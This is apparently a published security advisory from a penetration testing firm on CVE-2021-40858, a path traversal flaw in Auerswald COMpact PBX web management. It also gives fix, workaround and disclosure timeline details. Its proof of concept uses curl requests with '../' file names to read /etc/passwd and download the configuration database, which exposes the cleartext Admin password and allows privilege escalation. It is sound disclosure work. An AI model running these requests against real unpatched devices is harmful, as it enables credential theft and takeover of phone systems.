+49 241 510081-0
kontakt@redteam-pentesting.de
EN
EN

Kontakt

Kontaktieren Sie uns gerne

+49 241 510081-0
kontakt@redteam-pentesting.de
Kontaktformular
RedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting Header
neueres
Zurück zur Übersicht
älteres

Text Version

Auerswald COMpact Arbitrary File Disclosure

RedTeam Pentesting discovered a vulnerability in the web-based management interface of the Auerswald COMpact 5500R PBX which allows users with the “sub-admin” privilege to access any files on the PBX’s file system.

Details

  • Product: COMpact 4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX), COMpact 5010 VoIP, COMpact 5020 VoIP, COMmander Business(19"), COMmander Basic.2(19")
  • Affected Versions: <= 8.0B (COMpact 4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX))
  • Fixed Versions: 8.2B
  • Vulnerability Type: Arbitrary File Disclosure
  • Security Risk: medium
  • Vendor URL: https://www.auerswald.de/en/product/compact-5500r
  • Vendor Status: fixed version released
  • Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2021-006
  • Advisory Status: published
  • CVE: CVE-2021-40858
  • CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40858

Introduction

“Fully modular VoIP appliance for more efficient communication processes With the COMpact 5500R, you are originally equipped for everyday business - now and in the future.

The fully modular architecture with 80 IP channels and all the functions of a large ITC server allows up to 112 subscribers and thus scales with your company.

Continuous maintanance and expansion of the system software makes this versatile IP server a future-proof investment in any business communication.”

(from the vendor’s homepage)

More Details

RedTeam Pentesting discovered that attackers with administrative access to the PBX’s web-based management interface (as a so-called “sub-admin”) can download arbitrary files from the PBX’s file system. This includes the usually not accessible configuration database which contains the password for the highly privileged “Admin” user in clear text.

Proof of Concept

The command-line HTTP client curl (https://curl.se) can be used to log into the management interface of the PBX with the username “sub-admin” and the password “verysecretpassword” as follows:

$ curl --anyauth --user sub-admin:verysecretpassword --include \
  https://192.168.1.2/tree

[...]
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
Set-Cookie: AUERSessionID1234123412=ERQMMDGECSGWTII; HttpOnly; Path=/
[...]

[{"login":2,"userId":2222,[...]}]

The server returns a session ID in a cookie which is then used to check the access level:

$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \
  https://192.168.1.2/logstatus_state

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]

{"logstatus":"Sub-Administrator"}

In the PBX’s user management, the access level “Sub-Administrator” is used for user accounts who should be able to configure the PBX. There are also other, higher-level access privileges.

Users with the “sub-admin” privilege can configure music on hold (MOH, “Wartemusik”), and for example listen to the currently configured music. In order to do this, the browser requests the music files from the PBX.

The file “alarm1.wav” can be accessed with curl as follows:

$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \
'https://192.168.1.2/wartemusik_verwaltung_play?fileName=alarm1.wav'\
'&pageindex=1'

HTTP/1.1 200 OK
Content-Type: audio/x-wav; charset=
Content-Length: 132192
Content-disposition: attachment; filename="alarm1.wav"
[...]

It was found that the PBX allows directory traversal with the string “../”, so the file “/etc/passwd” can be accessed as follows:

$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \
'https://192.168.1.2/wartemusik_verwaltung_play?'\
'fileName=../../etc/passwd&pageindex='

HTTP/1.1 200 OK
[...]
Content-Length: 113
Content-disposition: attachment; filename="../../etc/passwd"
[...]

root::0:0:root:/root:/bin/sh
netstorage::1:1::/data/ftpd:/bin/false
web::2:2::/opt/auerswald/lighttpd:/bin/false

The same issue is present in the function for managing logos. A regular request for the file “logo1.jpg” is shown below:

$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \
'https://192.168.1.2/logo_verwaltung_preview?fileName=logo1.jpg&424'

HTTP/1.1 200 OK
X-XSS-Protection: 1
Content-Type: image/jpg; charset=UTF-8
Content-Length: 13986
Content-disposition: attachment; filename="logo1.jpg"
[...]

In a similar fashion as before, the file “/etc/passwd” can be accessed:

$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \
'https://192.168.1.2/logo_verwaltung_preview?fileName=../../etc/passwd'

HTTP/1.1 200 OK
[...]

root::0:0:root:/root:/bin/sh
netstorage::1:1::/data/ftpd:/bin/false
web::2:2::/opt/auerswald/lighttpd:/bin/false

For attackers, an interesting file is the SQLite (https://www.sqlite.org) database file “/data/db/pbx4.db”. It can be downloaded as follows:

$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' 'https://'\
'192.168.1.2/logo_verwaltung_preview?fileName=../../data/db/pbx4.db' \
 > pbx4.db

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  5120  100  5120    0     0  16253      0 --:--:-- --:--:-- --:--:-- 16305

This file contains the password for the highly privileged “Admin” user account:

$ sqlite3 pbx4.db
SQLite version 3.27.2 2019-02-25 16:06:06
Enter ".help" for usage hints.

sqlite> .tables
DbFileVersion  PbxMisc

sqlite> select * from PbxMisc;
[...]
AdminPasswdHash|
AdminLogin|Admin
AdminPin|43214321
AdminPasswd|S3kr1t!

The username and password can then be used to log into the web application:

$ curl --user 'Admin:S3kr1t!' --anyauth --include \
  https://192.168.1.2/tree

HTTP/1.1 200 OK
Set-Cookie: AUERSessionID1234123412=AJXGKBFTCIHSHAC; HttpOnly; Path=/
[...]

[{"login":3,"userId":0,"userName":"",[...]}]

Checking the access level reveals the new privilege:

$ curl --cookie 'AUERSessionID1234123412=AJXGKBFTCIHSHAC' --include \
  https://192.168.1.2/logstatus_state

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]

{"logstatus":"Administrator"}

The user “Admin”, in contrast to regular administrative users (“sub-admin”), can access more functions and for example apply firmware updates.

Workaround

Disable or restrict access to the web-based management if possible.

Fix

Upgrade to a firmware version which corrects this vulnerability.

Security Risk

Attackers who already have acquired administrative access as a so-called “sub-admin” can download a database file and access the password for the highly privileged “Admin” account. This account can use more functions and is allowed to apply firmware updates.

On the one hand, exploiting this vulnerability already requires administrative access. On the other hand, attackers can reach high-privileged access to the PBX and use functions not available to “sub-admin” users, like firmware updates. All in all, this vulnerability is therefore rated to have a medium risk potential.

Timeline

  • 2021-08-26 Vulnerability identified
  • 2021-09-01 Customer approved disclosure to vendor
  • 2021-09-10 Vendor notified
  • 2021-09-10 CVE ID requested
  • 2021-09-10 CVE ID assigned
  • 2021-10-05 Vendor provides access to device with fixed firmware
  • 2021-10-11 Vendor provides fixed firmware
  • 2021-10-15 RedTeam Pentesting examines device, vulnerability seems to be corrected
  • 2021-12-06 Advisory published

RedTeam Pentesting GmbH

RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.

More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/

Working at RedTeam Pentesting

RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: https://jobs.redteam-pentesting.de/